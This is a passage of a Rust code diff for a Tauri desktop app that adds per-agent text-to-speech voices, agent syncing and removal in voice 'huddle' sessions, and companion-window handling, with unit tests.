receiver.recv().expect("queued text"), + (route_id, text), + "route correlation must survive the native queue boundary" + ); +} + +#[test] +fn disabled_is_the_only_intentional_runtime_no_op() { + assert_eq!( + classify_agent_tts_runtime(false, &HuddlePhase::Connected, false), + AgentTtsRuntimeGate::Disabled + ); + assert_eq!( + classify_agent_tts_runtime(true, &HuddlePhase::Idle, false), + AgentTtsRuntimeGate::Inactive + ); + assert_eq!( + classify_agent_tts_runtime(true, &HuddlePhase::Connected, false), + AgentTtsRuntimeGate::NeedsPipeline + ); + assert_eq!( + classify_agent_tts_runtime(true, &HuddlePhase::Connected, true), + AgentTtsRuntimeGate::Ready + ); +} + +#[test] +fn assistant_text_truncation_is_unicode_safe_before_voice_routing() { + let input = "🦀".repeat(MAX_TTS_TEXT_LEN + 1); + let output = normalize_agent_tts_text(input); + assert_eq!( + output.chars().count(), + MAX_TTS_TEXT_LEN + "... message truncated.".chars().count() + ); + assert!(output.ends_with("... message truncated.")); +} diff --git a/desktop/src-tauri/src/huddle/agent_voice.rs b/desktop/src-tauri/src/huddle/agent_voice.rs new file mode 100644 index 0000000000..5232287d75 --- /dev/null +++ b/desktop/src-tauri/src/huddle/agent_voice.rs @@ -0,0 +1,310 @@ +//! Per-agent text-to-speech choices for one local huddle session. + +use std::collections::{BTreeMap, HashSet}; + +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, State}; + +use crate::app_state::AppState; + +use super::{ + tts_settings::{ + pocket_voice_reference, resolve_voice_for_backend_in_registry, voice_registry, + VoiceRegistryEntry, POCKET_BACKEND_ID, + }, + HuddlePhase, HuddleState, +}; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct AgentVoiceSettings { + pub enabled: bool, + pub voice_key: String, +} + +struct AgentVoiceCatalog { + default_voice_key: String, + voices: Vec, +} + +fn catalog(app: &AppHandle, state: &AppState) -> Result { + let registry = voice_registry(app); + let settings = state + .huddle_audio + .tts + .lock() + .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))? + .clone(); + let voices: Vec<_> = registry + .iter() + .filter(|voice| { + voice.backend == POCKET_BACKEND_ID + && matches!(voice.availability.as_str(), "bundled" | "installed") + }) + .cloned() + .collect(); + let default_voice_key = resolve_voice_for_backend_in_registry( + &settings.voice_preferences, + POCKET_BACKEND_ID, + &voices, + )? + .key; + Ok(AgentVoiceCatalog { + default_voice_key, + voices, + }) +} + +fn stable_voice_index(agent_pubkey: &str, huddle_generation: u64, len: usize) -> usize { + let hash = agent_pubkey.bytes().fold( + 0xcbf2_9ce4_8422_2325_u64 ^ huddle_generation, + |hash, byte| hash.wrapping_mul(0x0000_0100_0000_01b3) ^ u64::from(byte), + ); + (hash as usize) % len +} + +pub(crate) fn sync_agent_voice_assignments( + huddle: &mut HuddleState, + agent_pubkeys: &[String], + default_voice_key: &str, + voices: &[VoiceRegistryEntry], +) -> bool { + let previous = huddle.agent_voice_settings.clone(); + let available_keys: Vec<_> = voices.iter().map(|voice| voice.key.clone()).collect(); + let available: HashSet<_> = available_keys.iter().cloned().collect(); + let agents: HashSet<_> = agent_pubkeys.iter().cloned().collect(); + huddle.agent_voice_settings.retain(|pubkey, settings| { + agents.contains(pubkey) && available.contains(&settings.voice_key) + }); + + let mut used: HashSet<_> = huddle + .agent_voice_settings + .values() + .map(|settings| settings.voice_key.clone()) + .collect(); + for (index, pubkey) in agent_pubkeys.iter().enumerate() { + if huddle.agent_voice_settings.contains_key(pubkey) { + continue; + } + let preferred = if index == 0 && !used.contains(default_voice_key) { + Some(default_voice_key.to_owned()) + } else { + let unused_alternates: Vec<_> = available_keys + .iter() + .filter(|key| key.as_str() != default_voice_key && !used.contains(*key)) + .cloned() + .collect(); + let unused: Vec<_> = available_keys + .iter() + .filter(|key| !used.contains(*key)) + .cloned() + .collect(); + let candidates = if unused_alternates.is_empty() { + if unused.is_empty() { + &available_keys + } else { + &unused + } + } else { + &unused_alternates + }; + (!candidates.is_empty()).then(|| { + candidates[stable_voice_index(pubkey, huddle.huddle_generation, candidates.len())] + .clone() + }) + }; + if let Some(voice_key) = preferred { + used.insert(voice_key.clone()); + huddle.agent_voice_settings.insert( + pubkey.clone(), + AgentVoiceSettings { + enabled: true, + voice_key, + }, + ); + } + } + huddle.agent_voice_settings != previous +} + +fn ensure_with_catalog( + huddle: &mut HuddleState, + catalog: &AgentVoiceCatalog, + extra_agent: Option<&str>, +) -> bool { + let mut agents = huddle + .agent_pubkeys + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone(); + if let Some(pubkey) = extra_agent { + if !agents.iter().any(|agent| agent == pubkey) { + agents.push(pubkey.to_owned()); + } + } + sync_agent_voice_assignments(huddle, &agents, &catalog.default_voice_key, &catalog.voices) +} + +fn require_active_huddle(huddle: &HuddleState) -> Result<(), String> { + matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) + .then_some(()) + .ok_or_else(|| "No active huddle".to_owned()) +} + +#[tauri::command] +pub fn ensure_huddle_agent_voice_settings( + app: AppHandle, + state: State<'_, AppState>, +) -> Result, String> { + let catalog = catalog(&app, &state)?; + let (changed, settings) = { + let mut huddle = state.huddle()?; + if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) { + return Ok(BTreeMap::new()); + } + let changed = ensure_with_catalog(&mut huddle, &catalog, None); + (changed, huddle.agent_voice_settings.clone()) + }; + if changed { + state.emit_huddle_state_changed(); + } + Ok(settings) +} + +#[tauri::command] +pub fn set_huddle_agent_tts_enabled( + agent_pubkey: String, + enabled: bool, + app: AppHandle, + state: State<'_, AppState>, +) -> Result { + let catalog = catalog(&app, &state)?; + let settings = { + let mut huddle = state.huddle()?; + require_active_huddle(&huddle)?; + ensure_with_catalog(&mut huddle, &catalog, Some(&agent_pubkey)); + let settings = huddle + .agent_voice_settings + .get_mut(&agent_pubkey) + .ok_or("Agent is not in the active huddle")?; + settings.enabled = enabled; + settings.clone() + }; + state.emit_huddle_state_changed(); + Ok(settings) +} + +#[tauri::command] +pub fn set_huddle_agent_voice( + agent_pubkey: String, + voice_key: String, + app: AppHandle, + state: State<'_, AppState>, +) -> Result { + let catalog = catalog(&app, &state)?; + if !catalog.voices.iter().any(|voice| voice.key == voice_key) { + return Err("The selected Pocket voice is not available on this device".to_owned()); + } + let settings = { + let mut huddle = state.huddle()?; + require_active_huddle(&huddle)?; + ensure_with_catalog(&mut huddle, &catalog, Some(&agent_pubkey)); + let settings = huddle + .agent_voice_settings + .get_mut(&agent_pubkey) + .ok_or("Agent is not in the active huddle")?; + settings.voice_key = voice_key; + settings.clone() + }; + state.emit_huddle_state_changed(); + Ok(settings) +} + +pub(crate) fn voice_reference_for_agent( + app: &AppHandle, + state: &AppState, + agent_pubkey: &str, +) -> Result, String> { + let catalog = catalog(app, state)?; + let (changed, settings) = { + let mut huddle = state.huddle()?; + require_active_huddle(&huddle)?; + let changed = ensure_with_catalog(&mut huddle, &catalog, Some(agent_pubkey)); + let settings = huddle.agent_voice_settings.get(agent_pubkey).cloned(); + (changed, settings) + }; + if changed { + state.emit_huddle_state_changed(); + } + let Some(settings) = settings else { + return Err("Agent is not in the active huddle".to_owned()); + }; + if !settings.enabled { + return Ok(None); + } + pocket_voice_reference(app, &[settings.voice_key]).map(Some) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::huddle::tts_settings::bundled_voice_registry; + + #[test] + fn first_agent_uses_default_and_additional_agents_are_distinct() { + let agents = vec!["first".to_owned(), "second".to_owned(), "third".to_owned()]; + let mut huddle = HuddleState { + huddle_generation: 9, + ..HuddleState::default() + }; + + assert!(sync_agent_voice_assignments( + &mut huddle, + &agents, + "pocket:vera", + &bundled_voice_registry(), + )); + + assert_eq!( + huddle.agent_voice_settings["first"].voice_key, + "pocket:vera" + ); + let distinct: HashSet<_> = huddle + .agent_voice_settings + .values() + .map(|settings| settings.voice_key.as_str()) + .collect(); + assert_eq!(distinct.len(), 3); + } + + #[test] + fn explicit_session_choices_survive_roster_resync() { + let agents = vec!["first".to_owned(), "second".to_owned()]; + let voices = bundled_voice_registry(); + let mut huddle = HuddleState::default(); + sync_agent_voice_assignments(&mut huddle, &agents, "pocket:mary", &voices); + huddle + .agent_voice_settings + .get_mut("second") + .unwrap() + .enabled = false; + huddle + .agent_voice_settings + .get_mut("second") + .unwrap() + .voice_key = "pocket:jane".into(); + + assert!(!sync_agent_voice_assignments( + &mut huddle, + &agents, + "pocket:mary", + &voices, + )); + assert_eq!( + huddle.agent_voice_settings["second"], + AgentVoiceSettings { + enabled: false, + voice_key: "pocket:jane".into(), + } + ); + } +} diff --git a/desktop/src-tauri/src/huddle/agents.rs b/desktop/src-tauri/src/huddle/agents.rs index 2de22f99d8..41a348d888 100644 --- a/desktop/src-tauri/src/huddle/agents.rs +++ b/desktop/src-tauri/src/huddle/agents.rs @@ -9,14 +9,24 @@ //! when it receives the kind:9000 membership notification. Huddle-specific //! env vars (interrupt mode, custom system prompt) are a post-MVP enhancement. +use std::collections::HashSet; + use serde::Serialize; +use tauri::State; use uuid::Uuid; use crate::{ - app_state::AppState, events, huddle::relay_api::fetch_channel_members_with_roles, + app_state::AppState, + events, + huddle::relay_api::{ + fetch_channel_members, fetch_channel_members_with_roles, validate_pubkey_hex, + MAX_HUDDLE_AGENTS, + }, relay::submit_event, }; +use super::{pipeline::start_auto_enabled_transcription, HuddlePhase}; + // ── Constants ───────────────────────────────────────────────────────────────── /// Voice-mode guidelines posted as kind:48106 (huddle guidelines) to the @@ -78,6 +88,21 @@ pub struct AgentAddResult { pub parent_error: Option, } +/// Result of reconciling channel agent additions into the active Huddle. +#[derive(Debug, Serialize)] +pub struct AgentHuddleSyncResult { + /// Whether `channel_id` belonged to the active Huddle. + pub matched_active_huddle: bool, + /// Agents newly enrolled in the Huddle's ephemeral channel. + pub added: Vec, +} + +// Multiple frontend mutation paths can observe the same membership addition +// (for example, the member hook and the mention send flow). Serialize native +// reconciliation so they share the first result instead of racing duplicate +// membership events through a relay read that has not caught up yet. +static AGENT_SYNC_LOCK: tokio::sync::Mutex<()> = tokio::sync::Mutex::const_new(()); + /// Add an agent to both the ephemeral and parent huddle channels. /// /// Returns `Err` only if the ephemeral-channel add fails (policy rejection or @@ -134,6 +159,156 @@ pub async fn add_agent_to_huddle( }) } +/// Reconcile explicitly added channel agents into the active Huddle. +/// +/// The source channel may be either the Huddle's parent or its ephemeral chat. +/// Existing ephemeral membership is hydrated first so a mention sent from the +/// Huddle chat does not publish a duplicate membership event. Missing agents +/// are added through the same parent + ephemeral path as the Add agent picker. +pub(crate) async fn sync_agents_for_active_huddle( + channel_id: &str, + agent_pubkeys: Vec, + state: &AppState, +) -> Result { + let mut seen = HashSet::new(); + let mut requested = Vec::new(); + for pubkey in agent_pubkeys { + let normalized = pubkey.to_ascii_lowercase(); + validate_pubkey_hex(&normalized)?; + if seen.insert(normalized.clone()) { + requested.push(normalized); + } + } + if requested.is_empty() { + return Ok(AgentHuddleSyncResult { + matched_active_huddle: false, + added: Vec::new(), + }); + } + let _sync_guard = AGENT_SYNC_LOCK.lock().await; + + let (ephemeral_channel_id, parent_channel_id, huddle_generation, state_agents) = { + let huddle = state.huddle()?; + if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) { + return Ok(AgentHuddleSyncResult { + matched_active_huddle: false, + added: Vec::new(), + }); + } + let ephemeral_channel_id = huddle + .ephemeral_channel_id + .clone() + .ok_or("no ephemeral channel")?; + let parent_channel_id = huddle + .parent_channel_id + .clone() + .ok_or("no parent channel")?; + if channel_id != ephemeral_channel_id && channel_id != parent_channel_id { + return Ok(AgentHuddleSyncResult { + matched_active_huddle: false, + added: Vec::new(), + }); + } + let state_agents = huddle + .agent_pubkeys + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone(); + ( + ephemeral_channel_id, + parent_channel_id, + huddle.huddle_generation, + state_agents, + ) + }; + + // Membership reads can lag a just-accepted write, so merge the relay view + // with local state instead of allowing a stale snapshot to remove agents. + let fresh_agents = fetch_channel_members(&ephemeral_channel_id, Some("bot"), state) + .await + .unwrap_or_default(); + let mut known_agents = HashSet::new(); + let mut merged_agents = Vec::new(); + for pubkey in state_agents.into_iter().chain(fresh_agents) { + let normalized = pubkey.to_ascii_lowercase(); + if known_agents.insert(normalized.clone()) { + merged_agents.push(normalized); + } + } + let missing: Vec = requested + .into_iter() + .filter(|pubkey| !known_agents.contains(pubkey)) + .collect(); + if known_agents.len() + missing.len() > MAX_HUDDLE_AGENTS { + return Err(format!( + "agent limit reached: {} requested with {} already present (max {})", + missing.len(), + known_agents.len(), + MAX_HUDDLE_AGENTS + )); + } + + let ephemeral_uuid = Uuid::parse_str(&ephemeral_channel_id).map_err(|e| e.to_string())?; + let parent_uuid = Uuid::parse_str(&parent_channel_id).map_err(|e| e.to_string())?; + let mut added = Vec::new(); + for pubkey in missing { + add_agent_to_huddle(ephemeral_uuid, parent_uuid, &pubkey, state).await?; + merged_agents.push(pubkey.clone()); + added.push(pubkey); + } + + let (roster_changed, transcription_auto_enabled) = { + let mut huddle = state.huddle()?; + if !huddle.is_current_huddle(&ephemeral_channel_id, huddle_generation) { + return Ok(AgentHuddleSyncResult { + matched_active_huddle: true, + added, + }); + } + let mut roster_changed = false; + { + let mut current_agents = huddle + .agent_pubkeys + .lock() + .unwrap_or_else(|error| error.into_inner()); + if *current_agents != merged_agents { + *current_agents = merged_agents.clone(); + roster_changed = true; + } + } + for pubkey in &merged_agents { + if !huddle.participants.contains(pubkey) { + huddle.participants.push(pubkey.clone()); + roster_changed = true; + } + } + ( + roster_changed, + huddle.maybe_auto_enable_transcription_for_agents(), + ) + }; + + if transcription_auto_enabled { + start_auto_enabled_transcription(state, &ephemeral_channel_id).await; + } else if roster_changed { + state.emit_huddle_state_changed(); + } + + Ok(AgentHuddleSyncResult { + matched_active_huddle: true, + added, + }) +} + +#[tauri::command] +pub async fn sync_agents_to_active_huddle( + channel_id: String, + agent_pubkeys: Vec, + state: State<'_, AppState>, +) -> Result { + sync_agents_for_active_huddle(&channel_id, agent_pubkeys, &state).await +} + fn contains_member(members: &[(String, Option)], pubkey: &str) -> bool { members .iter() diff --git a/desktop/src-tauri/src/huddle/audio_output.rs b/desktop/src-tauri/src/huddle/audio_output.rs index dbd09353db..34dec53094 100644 --- a/desktop/src-tauri/src/huddle/audio_output.rs +++ b/desktop/src-tauri/src/huddle/audio_output.rs @@ -39,7 +39,8 @@ fn list_audio_output_devices_blocking() -> Result, String #[tauri::command] pub fn set_audio_output_device(name: String, state: State<'_, AppState>) -> Result<(), String> { let mut guard = state - .audio_output_device + .huddle_audio + .output_device .lock() .map_err(|e| e.to_string())?; *guard = if name.is_empty() { None } else { Some(name) }; @@ -50,7 +51,8 @@ pub fn set_audio_output_device(name: String, state: State<'_, AppState>) -> Resu #[tauri::command] pub fn get_audio_output_device(state: State<'_, AppState>) -> Result { let guard = state - .audio_output_device + .huddle_audio + .output_device .lock() .map_err(|e| e.to_string())?; Ok(guard.clone().unwrap_or_default()) diff --git a/desktop/src-tauri/src/huddle/commands.rs b/desktop/src-tauri/src/huddle/commands.rs new file mode 100644 index 0000000000..993d8e54eb --- /dev/null +++ b/desktop/src-tauri/src/huddle/commands.rs @@ -0,0 +1,132 @@ +//! Small Huddle controls that mutate an active session. + +use std::sync::{atomic::Ordering, Arc}; + +use tauri::State; +use uuid::Uuid; + +use crate::{app_state::AppState, events, relay::submit_event}; + +use super::{relay_api::validate_pubkey_hex, HuddlePhase}; + +/// Update the clickable microphone control independently from the PTT shortcut. +#[tauri::command] +pub fn set_huddle_manual_mic_unmuted( + enabled: bool, + state: State<'_, AppState>, +) -> Result<(), String> { + let huddle = state.huddle()?; + if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) { + return Err("no active huddle".to_string()); + } + huddle.manual_mic_unmuted.store(enabled, Ordering::Release); + Ok(()) +} + +/// Immediately interrupt the agent utterance that is currently speaking. +#[tauri::command] +pub fn interrupt_huddle_speech( + agent_pubkey: String, + state: State<'_, AppState>, +) -> Result<(), String> { + validate_pubkey_hex(&agent_pubkey)?; + let tts_pipeline = { + let huddle = state.huddle()?; + if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) { + return Err("no active huddle".to_string()); + } + huddle.tts_pipeline.as_ref().map(Arc::clone) + }; + if let Some(tts_pipeline) = tts_pipeline { + tts_pipeline.cancel_active_speaker(&agent_pubkey); + } + Ok(()) +} + +/// Remove an agent from the active huddle without removing its parent-channel +/// membership. Keeping the parent membership intact means it remains available +/// to rejoin this huddle from the agent picker. +#[tauri::command] +pub async fn remove_agent_from_huddle( + agent_pubkey: String, + state: State<'_, AppState>, +) -> Result<(), String> { + validate_pubkey_hex(&agent_pubkey)?; + + let (ephemeral_channel_id, huddle_generation) = { + let huddle = state.huddle()?; + if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) { + return Err("no active huddle".to_string()); + } + + let is_huddle_agent = huddle + .agent_pubkeys + .lock() + .unwrap_or_else(|error| error.into_inner()) + .iter() + .any(|pubkey| pubkey.eq_ignore_ascii_case(&agent_pubkey)); + if !is_huddle_agent { + return Err("agent is not in this huddle".to_string()); + } + + ( + huddle + .ephemeral_channel_id + .clone() + .ok_or("no ephemeral channel")?, + huddle.huddle_generation, + ) + }; + + let ephemeral_channel_uuid = + Uuid::parse_str(&ephemeral_channel_id).map_err(|error| error.to_string())?; + submit_event( + events::build_remove_member(ephemeral_channel_uuid, &agent_pubkey)?, + &state, + ) + .await?; + + let (roster_changed, tts_pipeline) = { + let mut huddle = state.huddle()?; + if !huddle.is_current_huddle(&ephemeral_channel_id, huddle_generation) { + (false, None) + } else { + let mut agent_pubkeys = huddle + .agent_pubkeys + .lock() + .unwrap_or_else(|error| error.into_inner()); + let initial_count = agent_pubkeys.len(); + agent_pubkeys.retain(|pubkey| !pubkey.eq_ignore_ascii_case(&agent_pubkey)); + let changed = agent_pubkeys.len() != initial_count; + drop(agent_pubkeys); + + if changed { + huddle + .participants + .retain(|pubkey| !pubkey.eq_ignore_ascii_case(&agent_pubkey)); + if let Some(settings_pubkey) = huddle + .agent_voice_settings + .keys() + .find(|pubkey| pubkey.eq_ignore_ascii_case(&agent_pubkey)) + .cloned() + { + huddle.agent_voice_settings.remove(&settings_pubkey); + } + } + let tts_pipeline = changed + .then_some(huddle.tts_pipeline.as_ref()) + .flatten() + .map(Arc::clone); + (changed, tts_pipeline) + } + }; + + if let Some(tts_pipeline) = tts_pipeline { + tts_pipeline.cancel_speaker(&agent_pubkey); + } + if roster_changed { + state.emit_huddle_state_changed(); + } + + Ok(()) +} diff --git a/desktop/src-tauri/src/huddle/mod.rs b/desktop/src-tauri/src/huddle/mod.rs index 0a84cffe00..fcf29d688b 100644 --- a/desktop/src-tauri/src/huddle/mod.rs +++ b/desktop/src-tauri/src/huddle/mod.rs @@ -23,8 +23,11 @@ //! takes `stt_pipeline`/`tts_pipeline` out of the lock, then calls `shutdown()` //! and drops them outside the lock (thread joins can block ~200ms). +mod agent_tts_routing; +pub mod agent_voice; pub mod agents; pub mod audio_output; +mod commands; pub mod jitter; pub mod models; pub mod pipeline; @@ -37,6 +40,10 @@ pub mod state; pub mod stt; pub mod transcription; pub mod tts; +pub mod tts_settings; +mod tts_voice_import; +mod tts_voice_registry; +mod window; pub mod wire; // ── Shared utilities ────────────────────────────────────────────────────────── @@ -61,8 +68,13 @@ pub(super) fn drain_until_shutdown( // ── Re-exports ──────────────────────────────────────────────────────────────── +pub use commands::{ + interrupt_huddle_speech, remove_agent_from_huddle, set_huddle_manual_mic_unmuted, +}; pub use state::{HuddleJoinInfo, HuddlePhase, HuddleState, VoiceInputMode}; pub use transcription::{set_huddle_transcription_enabled, start_stt_pipeline}; +pub use tts_settings::set_tts_enabled; +pub use window::{close_huddle_companion, open_huddle_window}; // ── Imports ─────────────────────────────────────────────────────────────────── @@ -71,15 +83,21 @@ use tauri::State; use uuid::Uuid; use crate::{app_state::AppState, events, relay::submit_event}; + +use agent_tts_routing::{ + classify_agent_tts_runtime, enqueue_agent_tts_text, normalize_agent_tts_text, + AgentTtsRuntimeGate, +}; pub use pipeline::check_pipeline_hotstart; use pipeline::{ - maybe_start_stt_pipeline, maybe_start_tts_pipeline, post_connect_setup, - start_auto_enabled_transcription, PostConnectOutcome, + await_inflight_tts_start, maybe_start_stt_pipeline, maybe_start_tts_pipeline, + post_connect_setup, start_auto_enabled_transcription, PostConnectOutcome, }; use relay_api::{ count_human_members, fetch_channel_members, parse_channel_uuid, validate_pubkey_hex, MAX_HUDDLE_AGENTS, }; +use window::close_huddle_window; fn normalize_huddle_channel_name(candidate: Option, fallback: &str) -> String { let normalized = candidate @@ -165,6 +183,7 @@ pub async fn start_huddle( parent_channel_id: String, member_pubkeys: Vec, channel_name: Option, + app: tauri::AppHandle, state: State<'_, AppState>, ) -> Result { // Validate inputs at the Tauri boundary. @@ -188,6 +207,15 @@ pub async fn start_huddle( deduped }; + // Allocate the backing channel ID before the relay work starts. Publishing + // it with the Creating state lets the main webview open an immediate + // companion window while the channel and audio session are being prepared. + let ephemeral_uuid = Uuid::new_v4(); + let ephemeral_channel_id = ephemeral_uuid.to_string(); + let short_id = &ephemeral_channel_id[..8]; + let fallback_channel_name = format!("huddle-{short_id}"); + let channel_name = normalize_huddle_channel_name(channel_name, &fallback_channel_name); + // Transition to Creating. let huddle_generation = { let mut hs = state.huddle()?; @@ -200,20 +228,16 @@ pub async fn start_huddle( let generation = hs.begin_huddle_lifetime(); hs.phase = HuddlePhase::Creating; hs.parent_channel_id = Some(parent_channel_id.clone()); + hs.ephemeral_channel_id = Some(ephemeral_channel_id.clone()); generation }; - - let ephemeral_uuid = Uuid::new_v4(); - let ephemeral_channel_id = ephemeral_uuid.to_string(); - let short_id = &ephemeral_channel_id[..8]; - let fallback_channel_name = format!("huddle-{short_id}"); - let channel_name = normalize_huddle_channel_name(channel_name, &fallback_channel_name); + state.emit_huddle_state_changed(); // All steps wrapped so we can roll back on ANY failure, including step 1. // channel_was_created tracks whether we need to archive on rollback. let mut channel_was_created = false; - let result: Result, String> = async { + let result: Result<(Vec, String), String> = async { // 1. Create ephemeral channel. let create_builder = events::build_create_channel( ephemeral_uuid, @@ -255,14 +279,14 @@ pub async fn start_huddle( // 4. Emit HUDDLE_STARTED to parent channel. let started_builder = events::build_huddle_started(&parent_channel_id, &ephemeral_channel_id)?; - submit_event(started_builder, &state).await?; + let started_event = submit_event(started_builder, &state).await?; - Ok(successful_agents) + Ok((successful_agents, started_event.event_id)) } .await; match result { - Ok(successful_agents) => { + Ok((successful_agents, huddle_thread_event_id)) => { // 5. Store active state. let committed = { let mut hs = state.huddle()?; @@ -272,6 +296,7 @@ pub async fn start_huddle( hs.phase = HuddlePhase::Connected; hs.is_creator = true; hs.ephemeral_channel_id = Some(ephemeral_channel_id.clone()); + hs.huddle_thread_event_id = Some(huddle_thread_event_id); *hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()) = successful_agents.clone(); hs.maybe_auto_enable_transcription_for_agents(); @@ -290,6 +315,7 @@ pub async fn start_huddle( }; if !committed { emit_end_and_archive(&parent_channel_id, &ephemeral_channel_id, &state).await; + close_huddle_window(&app, &ephemeral_channel_id); return Err("huddle start was superseded".to_owned()); } @@ -301,6 +327,7 @@ pub async fn start_huddle( match post_connect_setup(&state, &ephemeral_channel_id, huddle_generation).await { Ok(PostConnectOutcome::Ready) => {} Ok(PostConnectOutcome::Stale) => { + close_huddle_window(&app, &ephemeral_channel_id); return Err("huddle start was superseded".to_owned()); } Err(e) => { @@ -320,6 +347,7 @@ pub async fn start_huddle( } state.emit_huddle_state_changed(); } + close_huddle_window(&app, &ephemeral_channel_id); return Err(e); } } @@ -340,10 +368,19 @@ pub async fn start_huddle( } } // Reset only if this failed attempt still owns the Creating state. - if let Ok(mut hs) = state.huddle_state.lock() { + let reset = if let Ok(mut hs) = state.huddle_state.lock() { if hs.owns_huddle_lifetime(huddle_generation, HuddlePhase::Creating) { hs.reset_preserving_generation(); + true + } else { + false } + } else { + false + }; + if reset { + state.emit_huddle_state_changed(); + close_huddle_window(&app, &ephemeral_channel_id); } Err(e) } @@ -362,6 +399,7 @@ pub async fn start_huddle( pub async fn join_huddle( parent_channel_id: String, ephemeral_channel_id: String, + huddle_thread_event_id: Option, state: State<'_, AppState>, ) -> Result { // Transition to Connecting. @@ -377,6 +415,7 @@ pub async fn join_huddle( hs.phase = HuddlePhase::Connecting; hs.parent_channel_id = Some(parent_channel_id.clone()); hs.ephemeral_channel_id = Some(ephemeral_channel_id.clone()); + hs.huddle_thread_event_id = huddle_thread_event_id; generation }; @@ -547,7 +586,7 @@ async fn remove_huddle_agents(ephemeral_channel_id: &str, state: &AppState) { /// /// The relay emits kind:48102 (participant left) when the audio WS disconnects. #[tauri::command] -pub async fn leave_huddle(state: State<'_, AppState>) -> Result<(), String> { +pub async fn leave_huddle(app: tauri::AppHandle, state: State<'_, AppState>) -> Result<(), String> { let (parent_channel_id, ephemeral_channel_id) = { let mut hs = state.huddle()?; if hs.phase == HuddlePhase::Idle { @@ -596,6 +635,7 @@ pub async fn leave_huddle(state: State<'_, AppState>) -> Result<(), String> { } teardown_huddle(&state)?; + close_huddle_window(&app, &ephemeral_channel_id); Ok(()) } @@ -608,7 +648,11 @@ pub async fn leave_huddle(state: State<'_, AppState>) -> Result<(), String> { /// 3. Shut down the STT pipeline (Fix 5). /// 4. Clear local huddle state. #[tauri::command] -pub async fn end_huddle(force: Option, state: State<'_, AppState>) -> Result<(), String> { +pub async fn end_huddle( + force: Option, + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result<(), String> { let (parent_channel_id, ephemeral_channel_id) = { let mut hs = state.huddle()?; if hs.phase == HuddlePhase::Idle { @@ -631,6 +675,7 @@ pub async fn end_huddle(force: Option, state: State<'_, AppState>) -> Resu emit_end_and_archive(&parent_channel_id, &ephemeral_channel_id, &state).await; teardown_huddle(&state)?; + close_huddle_window(&app, &ephemeral_channel_id); Ok(()) } @@ -745,91 +790,130 @@ pub fn get_model_status(_state: State<'_, AppState>) -> Result) -> Result<(), String> { - let old_pipeline = { - let mut hs = state.huddle()?; - hs.tts_enabled = enabled; - if !enabled { - hs.tts_pipeline.take() // Take out of lock. - } else { - None - } - }; - // Shut down outside the lock — thread join happens here. - if let Some(ref pipeline) = old_pipeline { - pipeline.shutdown(); - } - drop(old_pipeline); - - if enabled { - // Re-start TTS pipeline if models are available and huddle is active. - let phase = { - let hs = state.huddle()?; - hs.phase.clone() - }; - if matches!(phase, HuddlePhase::Connected | HuddlePhase::Active) { - if let Err(e) = maybe_start_tts_pipeline(&state).await { - eprintln!("buzz-desktop: TTS pipeline restart failed: {e}"); - } - } - } - - Ok(()) -} - /// Speak an agent message via TTS. /// -/// Maximum text length accepted for TTS synthesis. -/// ~2000 chars ≈ 1–2 minutes of speech. Longer messages are truncated. -const MAX_TTS_TEXT_LEN: usize = 2000; - -/// Called by the WebView when it receives an incoming agent kind:9 message. +/// Called by the WebView when it receives an eligible live agent message. /// Lazily starts the TTS pipeline if models are ready but the pipeline hasn't /// been created yet (e.g. models finished downloading after huddle started). /// -/// No-op if TTS is disabled or models aren't ready. +/// Disabled is the only intentional no-op. Enabled-but-unavailable speech +/// returns an error so the caller cannot mistake a dropped message for success. #[tauri::command] -pub async fn speak_agent_message(text: String, state: State<'_, AppState>) -> Result<(), String> { +pub async fn speak_agent_message( + text: String, + route_id: u64, + speaker_pubkey: String, + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result<(), String> { + eprintln!("buzz-desktop: tts stage=invoke status=started route_id={route_id}"); // Truncate oversized messages — agents shouldn't monologue in a voice huddle. // Use char count (not byte length) to avoid panicking on multi-byte UTF-8. - let text = if text.chars().count() > MAX_TTS_TEXT_LEN { - let mut truncated: String = text.chars().take(MAX_TTS_TEXT_LEN).collect(); - truncated.push_str("... message truncated."); - truncated - } else { - text + let text = normalize_agent_tts_text(text); + + if !state.huddle()?.tts_enabled { + eprintln!( + "buzz-desktop: tts stage=invoke status=no_op reason=disabled route_id={route_id}" + ); + return Ok(()); + } + + let Some(voice_reference) = + agent_voice::voice_reference_for_agent(&app, &state, &speaker_pubkey)? + else { + eprintln!( + "buzz-desktop: tts stage=invoke status=no_op reason=agent_disabled route_id={route_id}" + ); + return Ok(()); }; let needs_pipeline = { - let hs = state.huddle()?; - hs.tts_enabled - && hs.tts_pipeline.is_none() - && matches!(hs.phase, HuddlePhase::Connected | HuddlePhase::Active) + let mut hs = state.huddle()?; + if hs + .tts_pipeline + .as_ref() + .is_some_and(|pipeline| pipeline.is_finished()) + { + hs.tts_pipeline = None; + } + match classify_agent_tts_runtime(hs.tts_enabled, &hs.phase, hs.tts_pipeline.is_some()) { + AgentTtsRuntimeGate::Disabled => { + eprintln!( + "buzz-desktop: tts stage=invoke status=no_op reason=disabled route_id={route_id}" + ); + return Ok(()); + } + AgentTtsRuntimeGate::Inactive => { + eprintln!( + "buzz-desktop: tts stage=invoke status=failed reason=inactive_huddle route_id={route_id}" + ); + return Err( + "Agent text to speech is unavailable outside an active huddle".to_string(), + ); + } + AgentTtsRuntimeGate::NeedsPipeline => true, + AgentTtsRuntimeGate::Ready => false, + } }; // Lazy-start: models may have finished downloading after the huddle began. if needs_pipeline { - if let Err(e) = maybe_start_tts_pipeline(&state).await { - eprintln!("buzz-desktop: TTS lazy-start failed: {e}"); - } + maybe_start_tts_pipeline(&state).await.inspect_err(|_| { + eprintln!( + "buzz-desktop: tts stage=invoke status=failed reason=startup_failed route_id={route_id}" + ); + })?; + await_inflight_tts_start(&state).await.inspect_err(|_| { + eprintln!( + "buzz-desktop: tts stage=invoke 